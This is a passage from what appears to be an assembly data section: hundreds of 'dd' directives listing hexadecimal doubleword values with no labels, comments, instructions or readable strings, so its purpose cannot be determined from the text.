0E2EF3A00h, 1AA6CB32h, 0BADB0075h, 361920A3h, 0A2137B4Fh dd 8500BCBBh, 0CF76543Dh, 0CE6D0FA0h, 0C05E0937h, 985B71FFh dd 0E7121381h, 2041A416h, 0D3A806EAh, 0F51E7880h, 2DD2EB9Dh dd 4AB544A0h, 67E341F7h, 18983CA9h, 0AB212F12h, 0F14900FDh dd 3D4ACDA1h, 801814D0h, 26389F9Bh, 28FD606Dh, 0DE96612Ah dd 0FAE640C0h, 506A780Eh, 0CB42409h, 2B02F261h, 0E06E220h dd 9F9D292Ah, 0A1EA0558h, 45BEBDCh, 0A13CA94Ch, 12E8E048h dd 3A550F3Eh, 0E95A1C0Ah, 0EE02D80h, 0FA1470h, 30C78DB8h dd 0A48C3DD7h, 6DA8681Fh, 0EA158E00h, 767DC9h, 0CF22DA52h dd 426BC61Dh, 2618957Fh, 0CA7197BEh, 2BAF077Eh, 8168A6F0h dd 8B677D23h, 41438681h, 79D03F30h, 24150830h, 381667Ch dd 57E0ECA7h, 0E4ED1180h, 9EE7AAD7h, 18387B83h, 11FA83C3h dd 0CD0CD325h, 81211A7Dh, 28C90CC0h, 0AA11FEBEh, 0B457BB03h dd 176E01ADh, 0A2E8758h, 0BCB8FF8Dh, 0AC32007Ch, 2CA0793Ch dd 9A00E369h, 2B3F330Eh, 0E870F9BFh, 81A60030h, 0A93EC99Bh dd 0A160EC1Bh, 1961E510h, 4FA03D38h, 1D6AC50h, 0FAFB6285h dd 4627ABD7h, 0A4206084h, 78BEF853h, 81F0301Fh, 0F1510610h dd 7E6AB65Ch, 273CE17Fh, 60551FA5h, 35C0B703h, 6EBDE1EBh dd 0BEF51441h, 5DA29F0h, 21AF262Ah, 63BC0411h, 0F9D4E2Ch dd 39A1BEDh, 738D2AA8h, 3012B7F5h, 3840FA8Eh, 0FF577CA1h dd 1203711Fh, 24EEF84h, 11EE134Ch, 0BC3427E0h, 596E21C0h dd 533969F2h, 2084208Dh, 0C7C16449h, 99BC47DAh, 0F399F00h dd 4E587DAAh, 0A8A280A3h, 26E7A898h, 28A3B019h, 6422BD30h dd 0A8B161Ch, 40E44163h, 0C9D13F9Dh, 0AB377C00h, 0BFBB3B45h dd 33720034h, 0B626CCF5h, 9D3CED21h, 0CB8266Ah, 0A7689800h dd 0BB167Dh, 0FAD8016Fh, 0B0E1DBC8h, 0ED347105h, 0C285F99Fh dd 3E6B3040h, 0AD5A28h, 461DE3ACh, 57210942h, 6120D400h dd 7226B60Ch, 0BDA00744h, 1B2A94Ah, 830737FBh, 0F85CA4C0h dd 0AAE80F64h, 7C20D6D5h, 3200E7Fh, 39A59B05h, 0F3800163h dd 5220869h, 1A442916h, 0C0884924h, 0E1B88C21h, 0EF4D1069h dd 0E3570167h, 0EEFD0EEAh, 790898DAh, 0F72B21h, 22092167h dd 83FFA066h, 30A8FB57h, 0E0CA09AAh, 4239C07Bh, 9CAC6139h dd 72715E71h, 0B71C7800h, 80356F0Dh, 0B9470091h, 76963C69h dd 200E5BAAh, 95365763h, 63B39B4h, 2921F7C6h, 0C4BD4828h dd 33B98D80h, 2DEEEED9h, 9111F300h, 9F2E3FA9h, 0A1CF3B68h dd 0A61423CCh, 5103D057h, 2BFA92DDh, 371E6022h, 0E051F7BEh dd 3A88E012h, 0FC8A7D00h, 0E6C4A0BAh, 0AEECE99Eh, 37400B67h dd 2442AAB4h, 4805948Eh, 78841AF6h, 42F8FC81h, 990434FEh dd 0B66A1100h, 2EFB1280h, 3045B078h, 0BE41962Fh, 0D2796839h dd 0C136E60Fh, 0A2108017h, 90A53034h, 0A7040580h, 406A8223h dd 606607A8h, 0AA500508h, 0BD303BE4h, 570AC12Eh, 0A1F03BA9h dd 92761CC8h, 21F56320h, 91D86FE8h, 63A1542h, 7A60800Dh dd 0E9AA6A4Fh, 5092A6h, 0B015A73Dh, 9726CBCEh, 9DDD2701h dd 0D15482ECh, 60B79092h, 5667F01Ch, 0D42E310h, 2C8073C8h dd 0F0D767F8h, 26A600A2h, 80CB11E7h, 0C8928FCFh, 4247EE0h dd 2CA8DC4Ah, 0F8237D24h, 42E1109h, 64801338h, 48C6A765h dd 187F70F9h, 401FDBAFh, 7C2523E5h, 86A0827Eh, 596484A1h dd 0C3155180h, 0C43C01FEh, 0BE370DA0h, 66885022h, 900F36F4h dd 0A521877Fh, 0CC410241h dd 6B8256CDh, 1F75F8h, 460B59BEh, 0C00E69AFh, 144180F3h dd 0BE233176h, 426202A1h, 1B7DB40Fh, 0C97578FAh, 1A08722h dd 0AFF01206h, 0D4470D40h, 0F8738FDAh, 0C8F12F32h, 800CC044h dd 60E8A432h, 753E30AAh, 104C38C6h, 0B5861830h, 1715B51h dd 887E72ECh, 0F4EDF469h, 0A12515Eh, 0FC0484B4h, 7C82703Eh dd 806C8F42h, 9D7D868h, 0AF870BAAh, 3003EB71h, 0CFAA6195h dd 18F66041h, 0B0681333h, 2F520980h, 10976011h, 683BB8h dd 2DFC6221h, 26E3379Fh, 4E21712h, 0C0385048h, 0A045A95Ah dd 0EF227546h, 8072EB3Dh, 80DA8903h, 25E3BE7h, 0E12940F7h dd 8800A57Ah, 1367E16h, 89D3935Ch, 0FCEE339Fh, 0CD00CB12h dd 6D6968DDh, 982808EFh, 1E7F7602h, 0F07FEC0h, 34D31832h dd 65A44058h, 0B3836FB9h, 985911C0h, 72916330h, 667007E3h dd 4993C3DFh, 5AD4EC80h, 33022595h, 169B2EFh, 867840DBh dd 0FE41C0B6h, 1DAF9DF7h, 91E66C00h, 24530C01h, 0E1B10299h dd 80292207h, 0D407A4A9h, 210C76Dh, 7C487484h, 90264C29h dd 0FD06009Ch, 26684520h, 0DE307E6Dh, 0BBA33200h, 17F02837h dd 26CD1615h, 0EB1440BCh, 0EC3F72C7h, 0AF67CC03h, 97EAAAE7h dd 4283D43h, 887C1ED0h, 71D08061h, 0AC2C2BE3h, 7A0924AEh dd 1FC88459h, 0C1801649h, 85B1CF6Ah, 8C02797Bh, 7EFA4334h dd 3DB8A16Ch, 4C64C9F0h, 0F290966h, 8826E21h, 4602F75Bh dd 0B950C9BFh, 6708EE18h, 0C4F2E370h, 0F62E4075h, 0B0A7467h dd 0D44C7B76h, 5624AF01h, 3EEC29BDh, 0A7C60041h, 5526DFFBh dd 61DD0092h, 96637243h, 5B1212AEh, 4959A86h, 0B3EBE441h dd 0A6E5E469h, 0E1425824h, 4074B050h, 7E560134h, 0D17FD647h dd 531C2008h, 59F41150h, 49217D30h, 6E94FA5h, 58AA2D3Ah dd 3D16C1E3h, 282141F7h, 44F4EE07h, 0B45201C0h, 25D363D9h dd 0ED586035h, 9C4C010Bh, 0B0F40A13h, 0D340A900h, 0B1C45EECh dd 39681114h, 0A2249644h, 0E6FEF845h, 0AB88C2h, 0A49227C2h dd 0B0637100h, 5A781167h, 0D6A11709h, 24B20070h, 0A48B7ED0h dd 55A66804h, 8063B8h, 0F7A022Eh, 39A327B9h, 0FE1434A2h dd 76715440h, 0CC20FA4Ah, 265FEAD6h, 98D0373Fh, 2580192Eh dd 0A0882754h, 3B36ED01h, 0E083F6A6h, 6E84E428h, 578B486h dd 123EB005h, 0D882B520h, 0B9DCC926h, 0B7E82180h, 23C00B3Eh dd 0B16759C0h, 587998h, 0C275F502h, 166E7D8Eh, 12E4FF3Ah dd 2E0752FAh, 0A81A349Fh, 25BE3686h, 0E9370041h, 0FC7FD17Dh dd 1200E507h, 6CB24F79h, 0CCFD277Ch, 73A82DF0h, 3EB5048Ch dd 629D2011h, 0BCDB20ACh, 0C30EDC3Eh, 0E1EE9CD3h, 0AEE261AAh dd 0A03960DCh, 34E784h, 719D2D26h, 1722B17h, 2012CF2h dd 4C139B65h, 8082A06Ch, 0CEFC63E7h, 2C9FE880h, 18DFAF8Ch dd 61DF1C54h, 377CA118h, 0A8D00014h, 0DDD564E8h, 0BEF96614h dd 0B2898098h, 12613ECh, 0A9AFE06Fh, 0CA90DB1Eh, 0BC037C50h dd 7C1FF95Bh, 38B4AC5Ch, 0E4D4A540h, 7F2860B1h, 88E901DDh dd 0B4A00AA7h, 0C072BFh, 0AAE8E393h, 1C9F451h, 902F8DB6h dd 0E0C8FCE7h, 2D1DA5FAh, 0A8DA2A82h, 68C160E0h, 3260D58h dd 0E069B787h, 0A003B57h, 763D8259h, 934A14h, 8F6C715Ah dd 0F851C303h, 0E024A09Ah, 0AB804C65h, 40CDF307h, 0FA5B01C5h dd 0F455FF89h, 26F0874Ch, 0FC0B5ACh, 94F6702h, 0E1D0860Ch dd 0F342906Fh, 1AA811B8h, 78420D0h, 48516149h, 7022C2D0h dd 0FAE43026h, 0E06920A0h, 0F4C45Dh, 8DCB543Ch, 974815h dd 0C1EE125Ch, 0CE3E428Bh, 5A2E20F0h, 3D1DE0CCh, 0E0215E03h dd 5535C0E4h, 1A8A0797h, 406092DCh, 761E7A7h, 6AC64A00h dd 722AF937h, 0E5550003h, 0C33C0960h, 0ED00078Eh, 40198FCDh dd 576E8B9Ah, 0BD0738ECh, 8E9B401Ch, 0C0A81894h, 589D08C7h dd 3DB04A86h, 8D924D2Ah, 6950013Dh, 0E7CE561Ch, 8FBAA5B8h dd 1E4A1D3Ah, 0ED003A6Ch, 0E04B0391h, 0DA6E306Bh, 6DBDF6D1h dd 9A6AF9F0h, 4A32C39h, 6A3341E2h, 0E35FC0C0h, 0A44E84h dd 0B3E0D0D4h, 0FF0A692Ch, 0D8448E1Bh, 0E061BA09h, 186D79A4h dd 184BE02Bh, 8BF0B0C0h, 0F808D450h, 0A50788B0h, 2493BC7Ch dd 5CA43E71h, 0F7FA2C40h, 0F444F7A7h, 84DB0C61h, 733716EAh dd 0A0D130FFh, 59A42F7Ch, 79D01920h, 89E8E4BAh, 0C2F541C4h dd 31AA9C93h, 3F19DF40h, 0E328902Dh, 8FDC085h, 0E4777258h dd 7DF23B8Ah, 0EADF91Dh, 834AEB0h, 6E3C44BAh, 0E97CB4h dd 673BD026h, 0E0282802h, 67A9E365h, 0F2F9DC98h, 817D2321h dd 2EE4E424h, 819CCC83h, 1E3F3EA7h, 63EAD02Eh, 0AA2A0CA0h dd 53439F1h, 455C7420h, 0A97E1481h, 0ACFE1A82h, 0C8B5429h dd 26087C0Fh, 58149F8Ah, 0B169ED07h, 0E86474FEh, 0F3E8855h dd 0B4AC2015h, 0E5BC418Ch, 0B8081485h, 0E8A34BC9h, 2A652A25h dd 0A4840419h, 5BF2F836h, 0CD604C2Dh, 48986959h, 0F213D044h dd 2014306Ch, 0FC5463C0h, 228C6452h, 45E48DB2h, 0E3768146h dd 647C321Bh, 90265398h, 6271E42h, 26EDF806h, 8719C061h dd 884C326Ah, 0C3E0DF69h, 0FB1C02F9h, 0FABA590Ah, 424E94D7h dd 8960F87Ch, 84E8BAE0h, 704A820Ch, 9928E680h, 380C7153h dd 0F8C50C0h, 4C96A2Ch, 0B8FD1955h, 0E08A09D4h, 10F4293Fh dd 4C138203h, 2B712054h, 6092CA28h, 48B0343Ah, 0A1A5C828h dd 99BC4680h, 0E4270C8Ch, 0A9CC8244h, 0F10C6746h, 28830A47h dd 8CA43454h, 148A25A8h, 99EC6880h, 0C764C20Ch, 9CADB8F0h dd 0A21EC551h, 385A1AA5h, 0A990A0AFh, 0B5AEA6B0h, 1492AAE4h dd 58D84253h, 0E4BE8674h, 8850AF61h, 1FF8848Dh, 297E1939h dd 4D6B51FAh, 2D81BEA8h, 5CA02586h, 0E0D5D835h, 0A901586Ch dd 2C33674Ch, 444652FCh, 845F11BBh, 0BCEC40BEh, 6F104660h dd 1F8F9E06h, 4DA5DFDDh, 41187364h, 1217F78h, 0CC48AC1Eh dd 0DBE82C43h, 0C2F7808Ch, 7B136EDCh, 0F1F370C7h, 672088C8h dd 0DB449C20h, 83CA65Bh, 0D43AF90Ch, 3CE828F2h, 4D7ECDE0h dd 0D82A8F71h, 6B083C8Eh, 0F1ADFC36h, 0E1985258h, 86806C56h dd 70BE3CB3h, 120A7E4Fh, 450D1A7Dh, 40A742A4h, 2DC596C8h dd 6B04D6E0h, 0E90A2968h, 0F200FCE2h, 7CD8605h, 9A7E364Fh dd 80C80B3Ch, 0F11137EAh, 4CB926AFh, 4133027h, 0E65404A7h dd 62035CA6h, 0C844726Fh, 5BB481B5h, 0E13C46ADh, 0FA00A97Ch dd 0D474330Ch, 0E9A34DBh, 6CBE480Ah, 771565A0h, 0AA07E1B5h dd 0A9EF27E3h, 1339B3F0h, 28080703h, 401CFF47h, 0C4F38D12h dd 0EC11ED0Fh, 1D94ED5h, 9F5223AFh, 0A93AA0EFh, 0A62D0B35h dd 304B207Dh, 220EF3F0h, 800C6738h, 29E14028h, 78E5BBh dd 502505BEh, 0DD682662h, 7EE119C6h, 9ED000B9h, 52F3C8E6h dd 4498928Dh, 0DE50EC07h, 3E903C66h, 24A88Fh, 71B0B4FBh dd 339DCFEBh, 7CFA80A0h, 0D4941C51h, 773A8F08h, 0B94E00EAh dd 4FF2F5Eh, 568A1EE9h, 3E864701h, 5382C0F3h, 49F0E630h dd 0BE00C3E0h, 0C2B8C8A1h, 14B90643h, 140748BDh, 41C157A3h dd 0F33080BCh, 0BA324287h, 805570C2h, 0E7790146h, 0A563Eh dd 0A7BB0384h, 60333D86h, 0E50690E9h, 18DD04B6h, 0EF0A4900h dd 3A363F88h, 806C90E9h, 0B3E80B28h, 0F30EEA1Dh, 0E8355403h dd 42780CB6h, 45313AC3h, 59EA3037h, 0B5F1BC83h, 0E3B20C21h dd 0E6108457h, 0E5684h, 3542BDEEh, 0C4586B8h, 0A1B9E718h dd 764B229h, 0E98A1030h dd 5F9F8158h, 1F498F8Bh, 0ACDEFA5h, 78001841h, 9E479861h dd 879F00E1h, 14204DE7h, 7A39F536h, 991A000Eh, 8BE58832h dd 6EB7135Eh, 0E74307D8h, 0E391C058h, 6A1DDF4Dh, 0A2469E3Ah dd 1718366h, 4914FF9Fh, 6CA48Eh, 0E8FA2132h, 91351862h dd 0DE202863h, 0E8A17202h, 3B659DAh, 0A128D108h, 0B9451832h dd 0C84F9ECCh, 8475F68h, 19F731FCh, 1833438Dh, 0D9598FDDh dd 92101124h, 0E5C91EE4h, 104402Ah, 0B411DAD4h, 0C1F2AF04h dd 8CB8A4F4h, 817AC959h, 31A8A48Bh, 8311E65h, 1D598186h dd 0A1F4BD70h, 60443F30h, 2D2620B3h, 5D2828B1h, 3521D0B7h dd 0DF629088h, 7381E191h, 8CBF2869h, 0B96F0731h, 687E30B3h dd 0C9ECE369h, 4160710Ah, 5E18A4B2h, 2839EA41h, 6EDCA454h dd 0E0E3F1BAh, 317BD6F4h, 185C4F31h, 4C4131E4h, 584030A6h dd 60A387E3h, 6177919Eh, 18905908h, 23B983FFh, 1D3189DDh dd 0B22B8B31h, 4CA26318h, 58887833h, 91EE98E8h, 2024D8A0h dd 301528FEh, 21E605D4h, 0A421DE70h, 0DD0AB4B0h, 8DB74A4h dd 9B2530B8h, 0C7086951h, 0EBB23042h, 0ECB4891Bh, 8928DC0Ch dd 7F42281Bh, 218444B8h, 0C4F82F57h, 421085B7h, 0FC904F8Fh dd 88CB428Ch, 6A274448h, 0A29E6C10h, 4FDF117Eh, 0FC048278h dd 9AD39E7h, 8289FCAh, 5651FFB8h, 428DAF08h, 7890CAE0h dd 5C99B608h, 6C443A13h, 2152845Fh, 833CD98Ch, 7C52E631h dd 0B21065Ch, 619DBE0Ah, 84A18C90h, 0AB20D666h, 34921CE8h dd 20583196h, 0DE2BF80Ch, 37BC694Dh, 5C106127h, 54F1D9D3h dd 26DA08B3h, 0C28CA150h, 0D0669CA3h, 38627E14h, 50722874h dd 8DBC654Ch, 9BF009F8h, 0A38E18A2h, 0AFFB11A0h, 0A0F50429h dd 98EC293Ah, 0F0263492h, 76900141h, 0A1094567h, 200300E5h dd 3FB907BDh, 204FEA0Ah, 58B3E434h, 0F4E7993Eh, 0B7400400h dd 83D530FFh, 0A1EE0E9Bh, 7E003E90h, 0B83348B6h, 1454F07h dd 3730B3BDh, 7C4688E5h, 0D83DE899h, 0C3401128h, 0BC00457Ch dd 0BF073C84h, 736484Fh, 50183B8h, 0C25487D5h, 38E1B3E7h dd 34F1E0ECh, 438AEE02h, 0C67A4104h, 7D048DD4h, 0ED140E60h dd 5B49084h, 314779F3h, 65182CB9h, 5B84249h, 0A6203A01h dd 0E64084C7h, 0F4870EC1h, 0D06C9433h, 0D49A5A02h, 51CCE10Bh dd 0FE288EECh, 20A04D01h, 2631E570h, 2A0BFCh, 63277B03h dd 325EBC38h, 61C7B22Eh, 0BD2803Ch, 6ABBB62Fh, 60B894C3h dd 86D87A3h, 0B3EBE003h, 7D5E5C71h, 0A0A41818h, 0AA6F70F2h dd 4080D8B8h, 0E630B93Ch, 0B385D9AFh, 1808DE0Dh, 0CFA3F90Bh dd 3567C0C2h, 0D07CA002h, 11BF71E6h, 0B031FF17h, 60B53069h dd 21DC10FAh, 78B03167h, 499A68C1h, 2A0196A9h, 1D6101D3h dd 819EF898h, 0C018286Eh, 3940E92Ch, 5BF800BCh, 0DD4DB8B7h dd 0F365E021h, 0C4C87B78h, 79102B57h, 2C7A828Ch, 603CEFE8h dd 149F80CAh, 0BA16AC20h, 5C40075Eh, 1D600A2Fh, 0E11C095Ah dd 0C202D65h, 0C58D77DEh, 0B9116D02h, 5A5195A0h, 5AE3282Ch dd 0B0325048h, 28304916h, 64159E89h, 0F592EE6h, 0E82B5260h dd 0AE9DF380h, 0B503F77Ch, 0E5512127h, 1B69002h, 0C2EC240Bh dd 7CBC1C56h, 1678B370h, 0C4501253h, 0C054C778h, 0E6A29A99h dd 0C33841E6h, 5C0A7055h, 447AEDA0h, 0D05AD161h, 2B9174F8h dd 7046146h, 0C5547238h, 10C3475h, 5688D308h, 0A65D0801h dd 64A22C30h, 0C05CB78h, 0AF8863B6h, 0A08A1029h, 1EE424D2h dd 0AE0E30B0h, 34F047D0h, 4C0F211Ah, 0A3301552h, 96213A02h dd 999C8843h, 0D24C8108h, 0E1083332h, 7051A15Fh, 10937B1Eh dd 829C6F8Eh, 0B04B1EDFh, 0F14F99C4h, 50008C4Dh, 68E266A2h dd 19182826h, 12B309B4h, 48B524B6h, 22B791B8h, 9CA9449Ah dd 9E129B89h, 0A0489D24h, 0A2229F91h, 89A4D144h, 0E0A613A3h dd 3119786h, 0E793C7D5h, 0C1199AD2h, 63B8265Dh, 0B729844Bh dd 0AE8A7504h, 761408BAh, 7F0300BCh, 5C4EB22Ah, 0BAE21F30h dd 0E451005Fh, 0CBFBCE5Dh, 0A1415E00h, 0B4B87F08h, 0B05C3A3Eh dd 0A83C663Ah, 40646E3Ch, 0C2250436h, 5DE5F100h, 0EB01FBD7h dd 0BAB4BE5Eh, 48294AEDh, 40FFDAFh, 2325ABFEh, 0B63F14C6h dd 0CB13829Fh, 22271971h, 38955D63h, 4384E860h, 0ADCE4429h dd 0D346910Ch, 8AB309ACh, 5F041808h, 803E77D5h, 5564D007h dd 73E24328h, 0B9383057h, 301ABB21h, 765838A5h, 0AA9F0061h dd 0D75F77EFh, 3630A15Bh, 7B871859h, 5EEFAA6h, 6EA5B45Dh dd 0DE1C0058h, 2B0592F0h, 7E20770Ah, 574E2823h, 92C1E4A9h dd 8C9C26F5h, 312A6641h, 35F0000Bh, 52DCE56Fh, 8C00A45Ah dd 10418BC0h, 8213Bh, 0BDA39F36h, 0D50BE3A1h, 20E7E131h dd 0C980BA2Fh, 0CC641601h, 7A06A9B8h, 5965D7C8h, 0B65E0030h dd 48D3B19Ch, 85003BF5h, 81D02F13h, 764381Eh, 93C4BCC2h dd 843410A1h, 3500D7DAh, 0DBE6FAB6h, 30DCE23Bh, 2170DFCDh dd 0AE001DA6h, 9672F43Fh, 0E4E83h, 286DB024h, 58ECB829h dd 0DB2CA100h, 0A8C2B12Eh, 0EE20392h, 9E7CD9F6h, 5AB0200Ch dd 86E19ACh, 0E7FE90E0h, 0E2AB20Fh, 0D9D38232h, 0D421FFB1h dd 0D493FC28h, 0C6C0B0B7h, 8E4013B8h, 537F81h, 0B4F876BBh dd 2E1E2B8Dh, 360027F0h, 1786B674h, 98A787h, 85539335h dd 51566A2Ah, 0B0830A00h, 5F902F96h, 8C08004Dh, 7A1EB784h dd 9FA135A4h, 8F63D0B0h, 6A24A607h, 804FC32Eh, 3233A354h dd 6B40C07Ch, 3E515D79h, 29AA6F3Ah, 2403403Ch, 0DC7C37h dd 84E1E710h, 33B0922Fh, 29304CF1h, 4AA86905h, 1C309338h dd 4059A356h, 6E07B735h, 3733A77Dh, 6032A545h, 2A8C8FE1h dd 4DC04E2h, 0A493374Bh, 50B58759h, 567F3999h, 320018AEh dd 3C98B090h, 2724979h, 1D56B426h, 2CB02E38h, 47E3365Bh dd 0D0F840C4h, 4E0A7CE1h, 384AB5B4h, 6247B760h, 157C01E7h dd 0A265A92h, 47144A7Bh, 0B62E0040h, 0C262FC7Bh, 7460F84Bh dd 7D4D14A4h, 7502F853h, 0BA24F056h, 4689495h, 4B97F0F5h dd 84BD5900h, 2A917017h, 0F12E0046h, 4C794D37h, 93266533h dd 620434A8h, 0D735ADh, 0F0803847h, 7AD32937h, 989256h dd 9FA53DEFh, 538A4E73h, 40634D26h, 2870331Dh, 1379F4B8h dd 256236B5h, 7B6C0F20h, 32DC9023h, 3D500864h, 3296748Ch dd 2991FC75h, 485B446h, 86BA627Fh, 5A743040h, 63C93405h dd 90922431h, 24404CD7h, 0E5837E7h, 8FA32501h, 0B4CB515Fh dd 313E89C1h, 0D2F420D0h, 0A314EF0h, 83394092h, 1C9C030h dd 6699D97Ah, 0B0274CCEh, 93641008h, 0F36D24FBh, 3B2000B0h dd 3734568Fh, 275D871Dh, 0D809B51Eh, 59A0013Ah, 108C7A32h dd 34607666h, 6AC8F48h, 4D5DCE65h, 35011888h, 6BD84031h dd 1B607D3Ah, 0EF3091F3h, 344ADC81h, 90C92700h, 0A1C76078h dd 31C03821h, 0B753C36h, 0B43E2553h, 41F181Ah, 40F82955h dd 3B51317Dh, 0D4B9CE78h, 497CFB81h, 6066C924h, 5BCA0076h dd 0CE364EA3h, 37492156h, 1870D2B8h, 908A6132h, 1C3B4CF0h dd 7A3ACC58h, 93394C00h, 7808D7A7h, 7DF89AF8h, 7C205D2Ch dd 37291E3Ch, 0AC4E21Dh, 0C08FE774h, 0EBF895AFh, 824B605h dd 16C4817Ch, 3B21F074h, 0C4E49359h, 0CD8A6CEh, 0FC98B060h dd 3AAD7C7Eh, 0D8489366h, 0C6288C37h, 0C49A2079h, 3108354Ch dd 275609A4h, 0E44AC461h, 3869DC4Ch, 0C8A8C0A0h, 20B86521h dd 833C5213h, 6936100Ch dd 3A7D7C66h, 562E3D28h, 384B4220h, 3C902C96h, 79C9EFF9h dd 34D8A45Dh, 402EF21Fh, 7E09D802h, 0E63CE3A8h, 80FB62B0h dd 18922F96h, 8AA55040h, 46A0B752h, 63FCEF04h, 4E99B50Bh dd 484645Dh, 0ADA6648Ah, 7C3C39B7h, 0AAF11842h, 5DC86027h dd 9364310Bh, 0D85047A7h, 9605B05Ah, 245D8332h, 87A7D880h dd 564B838h, 0E2933D4Dh, 0CC405625h, 50A084F8h, 9101E7C9h dd 5673CA80h, 20703C36h, 8F310134h, 93C924A5h, 2443C49h dd 7D3233A6h, 0E978E4A7h, 0E1C1D468h, 0E47A2F83h, 8F036359h dd 7B3B2753h, 5C65C1B0h, 2E328C70h, 0E70A387h, 1BCE84CEh dd 9C94908Fh, 65065058h, 204CDC76h, 66EFB01Fh, 8426A4CFh dd 50F45A8Fh, 0C1C89625h, 857E12B8h, 87691868h, 803AE0C7h dd 0BB343714h, 0EC856E25h, 4250F766h, 5F92F834h, 1190285Ah dd 23A78714h, 7A0100F0h, 85E46F1Ah, 5A900138h, 0D9A5C936h dd 26218021h, 25537A61h, 0DC830408h, 0E1CE3B4Bh, 0E0D9D230h dd 8E7299Eh, 106A3880h, 3979F5Fh, 18345387h, 89FAE87Ch dd 60C728D7h, 42900F42h, 52DC011Ch, 0A0683220h, 5DA62F01h dd 0D08A0A36h, 744E3C4Dh, 0E071B817h, 0C441852Eh, 18A2E469h dd 0CE1F278Ch, 0DC8CF830h, 39354A3Eh, 88C5FC91h, 0DC143836h dd 3169068Ch, 7840654Ah, 0A6403C4Ch, 5920813h, 5ECA04h dd 0B07A0A80h, 9B67D08Bh, 0F08A3B20h, 3360CE98h, 33A15F7Dh dd 280DB4DCh, 18AFCE3Eh, 7932C811h, 5814D844h, 0C4ABC4DCh dd 308260B5h, 0CA8C4C90h, 0A402D4D1h, 41923927h, 0F44D0A44h dd 0D2936429h, 204283F0h, 9A0E3070h, 0EFDC5CCAh, 4BA48065h dd 50A35BC9h, 6BA7F026h, 18978824h, 47FE0F7h, 0C1392E31h dd 80CD9Fh, 7C068BB3h, 0EED925Bh, 0F06A93C4h, 1421309Ch dd 0BFEC0663h, 0F6ED5400h, 4F1FADDCh, 20330052h, 0DBACD175h dd 0CDFC1AB8h, 7C0269C1h, 1CCC8EE9h, 44AA1FF5h, 0C77AFA84h dd 6F92C321h, 0BFCE0F20h, 0F97B7C10h, 0C2FEAF00h, 0B8DE6E51h dd 728A418h, 7C58E852h, 0F264B82Ch, 0E9888540h, 0EF0C7DE3h dd 19FF0F83h, 153D0093h, 8931ADB4h, 50065B4Fh, 0C4176BA8h dd 35E107B8h, 101829D2h, 0B8CFB1FCh, 919F5F0Ch, 280C8896h dd 384D65Ch, 1BC35641h, 7898D470h, 9B3979BEh, 629E01CFh dd 0D7AE46A9h, 5E2E2180h, 9591A8Fh, 6D0820A7h, 294DC07Ah dd 0C328595Eh, 0D800D82Ah, 40ACE942h, 66CDCA15h, 21D20939h dd 0E91A7800h, 8C06C72Bh, 30A70F44h, 34245D6h, 0A4A0FF2Eh dd 9DC439E2h, 0EAEFD01Ch, 4B6B2C00h, 7643551Ah, 6FCF30AEh dd 0A96D61B0h, 8E5433FCh, 0D801348Ch, 0EAEEB65Eh, 0A853C53Fh dd 37AD8849h, 0EDC204C8h, 104FB5DAh, 24E09E1Ch, 80202AAFh dd 0E7A84B5Ch, 0CA03ACD7h, 61864214h, 0C608C9B1h, 41F2599Fh dd 52F01C22h, 8D04D0A8h, 5314B14h, 3C85238Ch, 40C1E984h dd 25D3626Dh, 5D820083h, 44AC7E07h, 18D51603h, 9BDDD465h dd 9ED00411h, 8AAED212h, 69998804h, 87ED8C48h, 6C14F400h dd 7C3E2DD4h, 401CAC42h, 30B9A297h, 5B781405h, 0A56AF870h dd 9C22E3DEh, 5030FFF2h, 0F01F0669h, 0C0C55C1Bh, 51F87E1Eh dd 8909C0Ah, 18280A07h, 0A98FA26h, 0C3CB4FEFh, 468701F8h dd 20B3A7E9h, 7C122AB8h, 607247FCh, 0C480DD3h, 0A3498164h dd 28D5E27Ch, 0F15AC198h, 18F00D6Bh, 992866F4h, 0B829A8EAh dd 0FC080804h, 7A4712B3h, 3E541154h, 0A44BF287h, 0EFFA03BBh dd 0F3D903D0h, 0DB14828h, 90F67028h, 0D246FA1Ah, 0CEB98621h dd 0F3FB0159h, 0F505329Bh, 905020A8h, 0E37FA71Ah, 0DC0482A0h dd 0AF6422CFh, 0C8C3B482h, 88EC7B20h, 8038DF19h, 0B8E1969Ah dd 0A0303350h, 4948988Dh, 0B03949FFh, 202804E2h, 7C4CD271h dd 9B2E742Fh, 65F00F8h, 0F0725B80h, 68054486h, 2B0D5700h dd 889B8236h, 0AC112850h, 0E1913CB0h, 78AAB218h, 0A900CF13h dd 0DE924306h, 600A3BBDh, 0AB2B08DFh, 0D200FF12h, 609820DBh dd 1F2C6E59h, 0DD1424h, 0B36BAB92h, 0D800F8AAh, 9C1DD53Dh dd 39D1817h, 0CD93D9B1h, 48A60409h, 686D5F03h, 887FB6B2h dd 0E54F7EDEh, 218029D1h, 696865FDh, 5F004CB3h, 9B963332h dd 1897714Dh, 5827C825h, 7401B08Ah, 0ECBA3AE2h, 8987EB31h dd 907C0166h, 6EF75B7Dh, 8A8E1300h, 9E3DD990h, 6D4311Dh dd 88495940h, 0F332450h, 750F6F05h, 6B103A6Ch, 39D6BB30h dd 2AADAB71h, 1840F57h, 0E520C432h, 4CBF3692h, 5B882E94h dd 322000C3h, 50F814C5h, 0F00CA7C6h, 0AC611A7Bh, 4C3B00B5h dd 222A75EBh, 5DEED679h, 9001FB7Bh, 2598ECDCh, 0E9892F80h dd 0CE01593Eh, 87A6FBEDh, 67C79260h, 41C13FB0h, 24E801B0h dd 32F9990Eh, 0B28450F1h, 513C9543h, 397F8716h, 61A19641h dd 0C830CAD8h, 62B600BFh, 0C5457AC1h, 3803D9A9h, 4F5FAA15h dd 8D880139h, 335C25ABh, 56108C42h, 1E30E111h, 803B97C5h dd 7174A567h, 0DA1523A4h, 80F4DB93h, 0B778686Bh, 227E434Fh dd 63BF012Ah, 9226F85Fh, 817F311Dh, 957DDAF0h, 9080C9DDh dd 0E38CD4E8h, 0CF01CAB2h, 0A2E176A3h, 0CC417F66h, 38E16D94h dd 0F2ABE850h, 1CF4A589h, 33660578h, 0F28C40DEh, 6AD5D0E2h dd 9F2FD406h, 6F08FC93h, 0EA2021E9h, 0C466E4D0h, 19A06A07h dd 0E1CD9163h, 686230CAh, 57B6A911h, 0C2802888h, 0EAB25F5Ah dd 0C32C00DAh, 581C4CA9h, 7360B6BBh, 0C42592A8h, 9D173EFFh dd 725630FCh, 6C275718h, 0BC2F3B28h, 96F2D704h, 50836728h dd 9300DC81h, 80661665h, 0D51584AEh, 6D415B8h, 36C01E39h dd 0BB573B18h, 3D01B8D8h, 0D93E1C2h, 0EEDC49C9h, 0A7C46831h dd 7F6721B6h, 0C4002691h, 34956860h, 99096AA0h, 27A5FBD5h dd 